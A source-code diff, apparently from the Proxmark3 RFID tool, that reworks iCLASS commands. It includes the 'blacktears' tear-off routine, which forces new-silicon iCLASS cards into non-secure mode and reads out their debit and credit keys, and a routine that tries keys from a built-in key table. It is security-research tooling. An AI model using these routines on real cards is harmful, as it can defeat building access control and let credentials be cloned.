arg_lit0(NULL, "nr", "replay of NR/MAC"),
arg_lit0("v", "verbose", "verbose output"),
arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"),
arg_lit0("@", NULL, "optional - continuous mode"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);
@@ -2984,6 +3017,7 @@ static int CmdHFiClass_ReadBlock(const char *Cmd) {
bool use_replay = arg_get_lit(ctx, 7);
bool verbose = arg_get_lit(ctx, 8);
bool shallow_mod = arg_get_lit(ctx, 9);
bool cm = arg_get_lit(ctx, 10);
CLIParserFree(ctx);
@@ -3002,10 +3036,23 @@ static int CmdHFiClass_ReadBlock(const char *Cmd) {
}
int res = 0;
uint8_t data[8] = {0};
int res = iclass_read_block(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, data);
if (res != PM3_SUCCESS)
return res;
if (cm) {
PrintAndLogEx(INFO, "Press " _GREEN_("<Enter>") " to exit");
}
do {
memset(data, 0, sizeof(data));
res = iclass_read_block(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, data, cm);
if (!cm && res != PM3_SUCCESS) {
return res;
}
} while (cm && (kbd_enter_pressed() == false));
if (blockno < 6 || blockno > 7)
return PM3_SUCCESS;
@@ -3242,6 +3289,8 @@ static int CmdHFiClass_TearBlock(const char *Cmd) {
PrintAndLogEx(ERR, "Key number is invalid");
return PM3_EINVARG;
}
} else {
PrintAndLogEx(SUCCESS, "Using Key... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key)));
}
if (data_len && data_len != 8) {
@@ -3281,6 +3330,8 @@ static int CmdHFiClass_TearBlock(const char *Cmd) {
if (use_credit_key) {
PrintAndLogEx(SUCCESS, "Using " _YELLOW_("credit") " key");
keyType = ICLASS_CREDIT_KEYTYPE;
} else {
PrintAndLogEx(SUCCESS, "Using " _YELLOW_("debit") " key");
}
if (data_len && auth == false) {
@@ -3303,6 +3354,7 @@ static int CmdHFiClass_TearBlock(const char *Cmd) {
if (shallow_mod) {
payload_rdr.flags |= FLAG_ICLASS_READER_SHALLOW_MOD;
}
clearCommandBuffer();
PacketResponseNG resp;
SendCommandNG(CMD_HF_ICLASS_READER, (uint8_t *)&payload_rdr, sizeof(iclass_card_select_t));
@@ -3328,9 +3380,12 @@ static int CmdHFiClass_TearBlock(const char *Cmd) {
int fail_tolerance = 1;
if (memcmp(r->header.hdr.csn + 4, "\xFE\xFF\x12\xE0", 4) == 0) {
PrintAndLogEx(SUCCESS, "CSN................... %s ( new silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE));
PrintAndLogEx(SUCCESS, "New silicon detected ( %s )", _GREEN_("ok"));
PrintAndLogEx(INFO, "----------------------------------------");
PrintAndLogEx(SUCCESS, "CSN................... %s", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE));
} else {
PrintAndLogEx(SUCCESS, "CSN................... %s ( old silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE));
PrintAndLogEx(ERR, "Old silicon detected ( %s )", _GREEN_("ok"));
PrintAndLogEx(INFO, "CSN... %s", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE));
fail_tolerance = 5;
}
@@ -3359,7 +3414,7 @@ static int CmdHFiClass_TearBlock(const char *Cmd) {
read_auth = false;
}
int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false);
int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false, false);
while (reread) {
if (res_orig == PM3_SUCCESS && !reread) {
if (memcmp(data_read_orig, zeros, 8) == 0) {
@@ -3396,7 +3451,7 @@ static int CmdHFiClass_TearBlock(const char *Cmd) {
PrintAndLogEx(SUCCESS, "Original block data... " _CYAN_("%s"), sprint_hex_inrow(data_read_orig, sizeof(data_read_orig)));
PrintAndLogEx(SUCCESS, "New data to write..... " _YELLOW_("%s"), sprint_hex_inrow(data, sizeof(data)));
PrintAndLogEx(SUCCESS, "Target block.......... " _YELLOW_("%u") " / " _YELLOW_("0x%02x"), blockno, blockno);
PrintAndLogEx(SUCCESS, "Using Key............. " _YELLOW_("%s"), sprint_hex_inrow(key, sizeof(key)));;
// turn off Device side debug messages
uint8_t dbg_curr = DBG_NONE;
if (getDeviceDebugLevel(&dbg_curr) != PM3_SUCCESS) {
@@ -3513,7 +3568,7 @@ static int CmdHFiClass_TearBlock(const char *Cmd) {
read_auth = false;
}
res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false);
res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false, false);
if (res == PM3_SUCCESS && !reread) {
if (memcmp(data_read, zeros, 8) == 0) {
reread = true;
@@ -3698,11 +3753,11 @@ static void iclass_read_interesting_data(uint8_t *key, uint8_t keyType, bool eli
bool auth = false;
uint8_t blockno = 3;
uint8_t kd_read[8] = {0};
iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, kd_read, false);
iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, kd_read, false, false);
blockno = 4;
uint8_t kc_read[8] = {0};
iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, kc_read, false);
iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, kc_read, false, false);
PrintAndLogEx(SUCCESS, "Raw Debit Key.............. " _YELLOW_("%s"), sprint_hex_inrow(kd_read, sizeof(kd_read)));
PrintAndLogEx(SUCCESS, "Raw Credit Key............. " _YELLOW_("%s"), sprint_hex_inrow(kc_read, sizeof(kc_read)));
@@ -3724,8 +3779,8 @@ static int CmdHFiClass_BlackTears(const char *Cmd) {
CLIParserInit(&ctx, "hf iclass blacktears",
"Tear off the iCLASS (new-silicon only) configuration block to set non-secure page mode.\n"
"Make sure you know the target card credit key. Typical `--ki 1` or `--ki 3`\n",
"hf iclass blacktears -k 001122334455667B\n"
"hf iclass blacktears --ki 1"
"hf iclass blacktears -k 001122334455667B <-- debit custom key\n"
"hf iclass blacktears --credit --ki 1 <-- credit key at index 1"
);
void *argtable[] = {
@@ -3749,10 +3804,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) {
CLIGetHexWithReturn(ctx, 1, key, &key_len);
int key_nr = arg_get_int_def(ctx, 2, -1);
int blockno = 1;
uint8_t data[8] = {0x12, 0xFF, 0xFE, 0xFF, 0x7F, 0x1F, 0xFF, 0x2C}; // tearoff payload
uint8_t mac[4] = {0};
bool use_credit_key = arg_get_lit(ctx, 3);
// Start at 1700, end at 1900.
// 5 steps increments
@@ -3766,18 +3818,18 @@ static int CmdHFiClass_BlackTears(const char *Cmd) {
uint8_t otp[2] = {0};
CLIGetHexWithReturn(ctx, 7, otp, &otp_len);
bool rawkey = arg_get_lit(ctx, 8);
bool verbose = arg_get_lit(ctx, 9);
bool shallow_mod = arg_get_lit(ctx, 10);
CLIParserFree(ctx);
bool elite = false;
bool rawkey = arg_get_lit(ctx, 8);
bool use_replay = false; //not implemented in this mode
bool use_replay = false; // not implemented in this mode
bool read_auth = false;
bool use_credit_key = arg_get_lit(ctx, 3);
int tearoff_loop = 1;
int tearoff_sleep = 0;
CLIParserFree(ctx);
// Sanity checks
if (key_len > 0 && key_nr >= 0) {
PrintAndLogEx(ERR, "Please specify key or index, not both");
@@ -3786,7 +3838,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) {
bool auth = false;
if (key_len > 0) {
if (key_len) {
auth = true;
if (key_len != 8) {
@@ -3804,24 +3856,26 @@ static int CmdHFiClass_BlackTears(const char *Cmd) {
PrintAndLogEx(SUCCESS, "Using key[%d] " _GREEN_("%s"), key_nr, sprint_hex_inrow(iClass_Key_Table[key_nr], 8));
} else {
PrintAndLogEx(ERR, "Key number is invalid");
PrintAndLogEx(NORMAL, "");
return PM3_EINVARG;
}
} else {
PrintAndLogEx(SUCCESS, "Using Key... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key)));
}
if (otp_len > 0) {
if (otp_len != 2) {
PrintAndLogEx(ERR, "OTP is incorrect length");
return PM3_EINVARG;
}
memcpy(&data[1], otp, 2); //update the otp in the tearoff data value
if (otp_len && otp_len != 2) {
PrintAndLogEx(ERR, "OTP is incorrect length");
PrintAndLogEx(NORMAL, "");
return PM3_EINVARG;
}
int loop_count = 0;
int isok = PM3_SUCCESS;
bool read_ok = false;
uint8_t keyType = ICLASS_DEBIT_KEYTYPE;
if (use_credit_key == true) {
if (use_credit_key) {
PrintAndLogEx(SUCCESS, "Using " _YELLOW_("credit") " key");
keyType = ICLASS_CREDIT_KEYTYPE;
} else {
@@ -3866,10 +3920,13 @@ static int CmdHFiClass_BlackTears(const char *Cmd) {
int fail_tolerance = 1;
if (memcmp(r->header.hdr.csn + 4, "\xFE\xFF\x12\xE0", 4) == 0) {
PrintAndLogEx(SUCCESS, "CSN................... %s ( new silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE));
PrintAndLogEx(SUCCESS, "New silicon detected ( %s )", _GREEN_("ok"));
PrintAndLogEx(INFO, "---------------------------------------");
PrintAndLogEx(SUCCESS, "CSN................... %s", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE));
} else {
PrintAndLogEx(FAILED, "CSN................... %s ( old silicon )", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE));
PrintAndLogEx(FAILED, "Old Silicon is not Supported for this operation.");
PrintAndLogEx(ERR, "Old silicon detected ( %s )", _RED_("fail"));
PrintAndLogEx(INFO, "Unsupported for this operation");
PrintAndLogEx(INFO, "CSN... %s", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE));
DropField();
return PM3_ESOFT;
}
@@ -3884,16 +3941,17 @@ static int CmdHFiClass_BlackTears(const char *Cmd) {
}
if (pagemap == 0x0) {
PrintAndLogEx(WARNING, _RED_("No auth possible. Read only if RA is enabled"));
PrintAndLogEx(WARNING, _RED_("No auth possible. Read only if " _YELLOW_("RA") " is enabled"));
goto out;
}
#define TEAR_INITAL 0x3C
#define TEAR_PERSO_ENABLED 0xBC
#define TEAR_PERSO_STABLE 0xBE
#define TEAR_PERSO_STABLE2 0x9C
#define TEAR_UNLOCKED 0xAC
#define TEAR_NON_SECURE_MODE 0x2C
#define TEAR_INITAL 0x3C
#define TEAR_PERSO 0xAC
#define TEAR_IS_PERSO_SET(x) (((x) & 0x80) == 0x80)
#define TEAR_IS_NONSECURE_SET(x) ((((x) & 0x18) >> 3) == PICOPASS_NON_SECURE_PAGEMODE)
#define TEAR_BAD(x) (((x) & 0x01) == 0)
// perform initial read here, repeat if failed or 00s
@@ -3904,8 +3962,10 @@ static int CmdHFiClass_BlackTears(const char *Cmd) {
bool erase_phase = false;
read_auth = false;
int blockno = 1;
int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false);
int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false, false);
while (reread) {
if (res_orig == PM3_SUCCESS && !reread) {
if (memcmp(data_read_orig, zeros, 8) == 0) {
@@ -3921,10 +3981,19 @@ static int CmdHFiClass_BlackTears(const char *Cmd) {
}
}
uint8_t data[8] = { 0 }; // tearoff payload
memcpy(data, data_read_orig, sizeof(data));
data[7] = TEAR_NON_SECURE_MODE;
// add the modified OTP if needed
if (otp_len) {
memcpy(data + 1, otp, sizeof(otp)); // update the otp in the tearoff data value
}
PrintAndLogEx(SUCCESS, "Original block data... " _CYAN_("%s"), sprint_hex_inrow(data_read_orig, sizeof(data_read_orig)));
PrintAndLogEx(SUCCESS, "New data to write..... " _YELLOW_("%s"), sprint_hex_inrow(data, sizeof(data)));
PrintAndLogEx(SUCCESS, "Target block.......... " _YELLOW_("%u") " / " _YELLOW_("0x%02x"), blockno, blockno);
PrintAndLogEx(SUCCESS, "Using Key............. " _YELLOW_("%s"), sprint_hex_inrow(key, sizeof(key)));;
// turn off Device side debug messages
uint8_t dbg_curr = DBG_NONE;
if (getDeviceDebugLevel(&dbg_curr) != PM3_SUCCESS) {
@@ -3945,6 +4014,8 @@ static int CmdHFiClass_BlackTears(const char *Cmd) {
PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------\n");
// Main loop
uint8_t mac[4] = {0};
while ((tearoff_start <= tearoff_end) && (read_ok == false)) {
if (kbd_enter_pressed()) {
@@ -3995,7 +4066,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) {
// skip authentication for config block
read_auth = false;
res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false);
res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false, false);
if (res == PM3_SUCCESS && !reread) {
if (memcmp(data_read, zeros, 8) == 0) {
reread = true;
@@ -4064,7 +4135,9 @@ static int CmdHFiClass_BlackTears(const char *Cmd) {
bool goto_out = false;
if (data_read[0] != data_read_orig[0]) {
// App limit became SMALLER :(
if (data_read[0] > data_read_orig[0]) {
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(SUCCESS, "Application limit changed, from "_YELLOW_("%u")" to "_YELLOW_("%u"), data_read_orig[0], data_read[0]);
isok = PM3_SUCCESS;
@@ -4172,81 +4245,39 @@ out:
read_auth = false;
uint8_t data_read[8]= {0};
uint8_t data_verify[8] = {0};
int res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false);
int res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false, false);
if (res != PM3_SUCCESS) {
return res;
}
uint8_t b7 = data_read[7];
switch(b7) {
if ( b7 == TEAR_INITAL) {
PrintAndLogEx(INFO, _YELLOW_("Fuses unchanged. Try again if the OTP is unchanged"));
// check for OTP change?
} else if (TEAR_IS_NONSECURE_SET(b7)) {
// don't do anything as this is ok
PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X")" _non secure memory_ ( %s )", data_read[7], _GREEN_("ok"));
case TEAR_PERSO_ENABLED: {
// stabilize 0xBC with write operation to 0xBE
PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X") " stabilizing to: " _YELLOW_("0xBE") NOLF, data_read[7]);
memcpy(data, data_read, PICOPASS_BLOCK_SIZE);
data[7] = TEAR_PERSO_STABLE;
iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod);
// verify if it was a succesful write
res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_verify, false);
if (data_verify[7] == TEAR_PERSO_STABLE) {
PrintAndLogEx(SUCCESS, " ( %s )", _GREEN_("ok"));
PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X") " set non-secure memory: " _YELLOW_("0xAC"), data_read[7]);
memcpy(data, data_verify, PICOPASS_BLOCK_SIZE);
data[7] = TEAR_UNLOCKED;
// set non-secure memory with 0xAC, in this state it will always succeed
iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod);
iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod);
} else {
PrintAndLogEx(FAILED, " ( %s )", _RED_("fail"));
}
break;
}
case TEAR_PERSO_STABLE:
case TEAR_PERSO_STABLE2: {
iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod);
} else if (TEAR_IS_PERSO_SET(b7)) {
PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X") " set non-secure memory: " _YELLOW_("0xAC"), data_read[7]);
memcpy(data, data_read, PICOPASS_BLOCK_SIZE);
data[7] = TEAR_UNLOCKED;
data[7] = TEAR_NON_SECURE_MODE;
// set non-secure memory with 0xAC, in this state it will always succeed
iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod);
iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod);
break;
}
case TEAR_UNLOCKED: {
// don't do anything as this is ok
PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X")" _non secure memory_ ( %s )", data_read[7], _GREEN_("ok"));
iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod);
break;
}
case TEAR_INITAL: {
PrintAndLogEx(INFO, _YELLOW_("Fuses unchanged. Try again if the OTP is unchanged"));
// check for OTP change?
break;
}
default: {
PrintAndLogEx(INFO, _YELLOW_("Did not detect " _YELLOW_("0xBC") " or " _YELLOW_("0xBE") " or " _YELLOW_("0x9C") " fuse, might need manual intervention!"));
break;
}
} else if (TEAR_BAD(b7)) {
PrintAndLogEx(WARNING, "Bad fuse state detected: " _RED_("0x%02X") ", cannot proceed", b7);
return PM3_EFAILED;
} else {
PrintAndLogEx(INFO, _YELLOW_("Did not detect " _YELLOW_("0xBC") " or " _YELLOW_("0xBE") " or " _YELLOW_("0x9C") " fuse, might need manual intervention!"));
}
return isok;
}
@@ -5287,8 +5318,15 @@ static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, u
}
while (repeat == true) {
uint32_t payload_size = sizeof(iclass_recover_req_t);
iclass_recover_req_t *payload = calloc(1, payload_size);
if (payload == NULL) {
PrintAndLogEx(WARNING, "Failed to allocate memory");
break;
}
payload->req.use_raw = true;
payload->req.use_elite = false;
payload->req.use_credit_key = false;
@@ -5337,8 +5375,10 @@ static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, u
repeat = false;
}
}
free(payload);
if (!repeat) {
if (repeat == false) {
return resp.status;
}
}
@@ -6205,6 +6245,11 @@ static void shave(uint8_t *data, uint8_t len) {
}
static void generate_rev(uint8_t *data, uint8_t len) {
uint8_t *key = calloc(len, sizeof(uint8_t));
if (key == NULL) {
PrintAndLogEx(WARNING, "Failed to allocate memory");
return;
}
PrintAndLogEx(SUCCESS, "permuted key..... %s", sprint_hex_inrow(data, len));
permute_rev(data, len, key);
PrintAndLogEx(SUCCESS, "unpermuted key... %s", sprint_hex_inrow(key, len));
@@ -6214,7 +6259,17 @@ static void generate_rev(uint8_t *data, uint8_t len) {
}
static void generate(uint8_t *data, uint8_t len) {
uint8_t *key = calloc(len, sizeof(uint8_t));
if (key == NULL) {
PrintAndLogEx(WARNING, "Failed to allocate memory");
return;
}
uint8_t *pkey = calloc(len, sizeof(uint8_t));
if (pkey == NULL) {
PrintAndLogEx(WARNING, "Failed to allocate memory");
return;
}
PrintAndLogEx(SUCCESS, "input key...... %s", sprint_hex_inrow(data, len));
permute(data, len, pkey);
PrintAndLogEx(SUCCESS, "permuted key... %s", sprint_hex_inrow(pkey, len));
@@ -6994,9 +7049,9 @@ int info_iclass(bool shallow_mod) {
PrintAndLogEx(SUCCESS, " Card type.... " _GREEN_("%s"), card_types[cardtype]);
if (memcmp(hdr->csn + 4, "\xFE\xFF\x12\xE0", 4) == 0) {
PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("NEW Silicon (No 14b support)"));
PrintAndLogEx(SUCCESS, " Card chip.... " _YELLOW_("New silicon (No 14b support)"));
} else {
PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("Old Silicon (14b support)"));
PrintAndLogEx(SUCCESS, " Card chip.... " _YELLOW_("Old silicon (14b support)"));
}
if (legacy) {
@@ -7007,20 +7062,23 @@ int info_iclass(bool shallow_mod) {
bool found_aa1 = false;
bool found_aa2 = false;
uint8_t key[8] = {0};
uint8_t aa1_idx = 0;
uint8_t key[PICOPASS_KEY_SIZE] = {0};
for (uint8_t i = 0; i < ARRAYLEN(iClass_Key_Table); i++) {
memcpy(key, iClass_Key_Table[i], sizeof(key));
if (found_aa1 == false) {
res = iclass_read_block_ex(key, 6, ICLASS_DEBIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 6), false);
res = iclass_read_block_ex(key, 6, ICLASS_DEBIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 6), false, false);
if (res == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, " AA1 Key...... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key)));
found_aa1 = true;
aa1_idx = i;
}
}
res = iclass_read_block_ex(key, 6, ICLASS_CREDIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 7), false);
res = iclass_read_block_ex(key, 6, ICLASS_CREDIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 7), false, false);
if (res == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, " AA2 Key...... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key)));
found_aa2 = true;
@@ -7032,8 +7090,10 @@ int info_iclass(bool shallow_mod) {
}
if (found_aa1) {
res = iclass_read_block_ex(key, 7, ICLASS_DEBIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 7), false);
res = iclass_read_block_ex(iClass_Key_Table[aa1_idx], 7, ICLASS_DEBIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 7), false, false);
if (res == PM3_SUCCESS) {
PrintAndLogEx(INFO, "");
BLOCK79ENCRYPTION aa1_encryption = (dump[(6 * PICOPASS_BLOCK_SIZE) + 7] & 0x03);
@@ -7044,6 +7104,8 @@ int info_iclass(bool shallow_mod) {
iclass_load_transport(transport, sizeof(transport));
iclass_decrypt_transport(transport, 8, dump, decrypted, aa1_encryption);
iclass_decode_credentials(decrypted);
return PM3_SUCCESS;
}
}
}
+2 -7
View File
@@ -92,8 +92,8 @@ static const known_algo_t known_algorithm_map[] = {
};
static const char *known_seos_aids[] = {
"A0000004400001010001",
"A000000382002D000101",
"A0000004400001010001", // STANDARD_SEOS
"A000000382002D000101", // MOBILE_SEOS_ADMIN_CARD
};
static int seos_get_custom_aid(CLIParserContext *ctx, int arg_index, uint8_t *aid, int *aid_len) {
@@ -1651,11 +1651,6 @@ static int seos_load_keys(char *filename) {
return PM3_SUCCESS;
}
int infoSeos(bool verbose, int privacy_key_index, int auth_key_index) {
(void)verbose;
return seos_select(NULL, 0, privacy_key_index, auth_key_index);
}
static int CmdHfSeosInfo(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf seos info",
-1
View File
@@ -22,7 +22,6 @@
#include "common.h"
#include "seos_cmd.h"
int infoSeos(bool verbose, int privacy_key_index, int auth_key_index);
int CmdHFSeos(const char *Cmd);
int seos_kdf(bool encryption, uint8_t *masterKey, uint8_t keyslot,
uint8_t *adfOid, size_t adfoid_len, uint8_t *diversifier, uint8_t diversifier_len, uint8_t *out, int encryption_algorithm, int hash_algorithm);
+10 -3
View File
@@ -1572,6 +1572,8 @@ static bool check_chiptype(bool getDeviceData) {
saveState_db.clock = g_DemodClock;
saveState_db.offset = g_DemodStartIdx;
PrintAndLogEx(INFO, "Searching for auth LF and special cases...");
// check for em4x05/em4x69 chips first
uint32_t word = 0;
if (IfPm3EM4x50() && em4x05_isblock0(&word)) {
@@ -1786,14 +1788,19 @@ int CmdLFfind(const char *Cmd) {
}
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(FAILED, _RED_("No data found!"));
// identify chipset
if (check_chiptype(is_online) == false) {
bool lf_special_search = check_chiptype(is_online);
if ( lf_special_search ) {
found++;
} else {
PrintAndLogEx(DEBUG, "Automatic chip type detection " _RED_("failed"));
}
PrintAndLogEx(HINT, "Hint: Maybe not an LF tag?");
if ( found == 0) {
PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf search") "` - since tag might not be LF");
}
PrintAndLogEx(NORMAL, "");
if (search_cont == 0) {
return PM3_ESOFT;
+2 -2
View File
@@ -259,7 +259,7 @@ static int CmdMqttSend(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "mqtt send",
"This command send MQTT messages. You can send JSON file\n"
"Default server: proxdump.com:1883 topic: proxdump\n",
"Default server: mqtt.proxdump.com:1883 topic: proxdump\n",
"mqtt send --msg \"Hello from Pm3\" --> sending msg to default server/port/topic\n"
"mqtt send -f myfile.json --> sending file to default server/port/topic\n"
"mqtt send --addr test.mosquitto.org -p 1883 --topic pm3 --msg \"custom mqtt server \"\n"
@@ -308,7 +308,7 @@ static int CmdMqttSend(const char *Cmd) {
if (strlen(g_session.mqtt_server)) {
strcpy(addr, g_session.mqtt_server);
} else {
strcpy(addr, "proxdump.com");
strcpy(addr, "mqtt.proxdump.com");
}
}
+3
View File
@@ -251,6 +251,7 @@ const static vocabulary_t vocabulary[] = {
{ 0, "hf felica sniff" },
{ 0, "hf felica wrbl" },
{ 0, "hf felica dump" },
{ 0, "hf felica discnodes" },
{ 0, "hf felica rqservice" },
{ 0, "hf felica rqresponse" },
{ 0, "hf felica scsvcode" },
@@ -282,6 +283,7 @@ const static vocabulary_t vocabulary[] = {
{ 1, "hf gallagher diversifykey" },
{ 1, "hf gallagher decode" },
{ 1, "hf gallagher encode" },
{ 1, "hf gallagher test" },
{ 1, "hf gst help" },
{ 1, "hf gst list" },
{ 1, "hf gst test" },
@@ -305,6 +307,7 @@ const static vocabulary_t vocabulary[] = {
{ 0, "hf iclass legrec" },
{ 1, "hf iclass legbrute" },
{ 1, "hf iclass unhash" },
{ 0, "hf iclass blacktears" },
{ 0, "hf iclass sim" },
{ 0, "hf iclass eload" },
{ 0, "hf iclass esave" },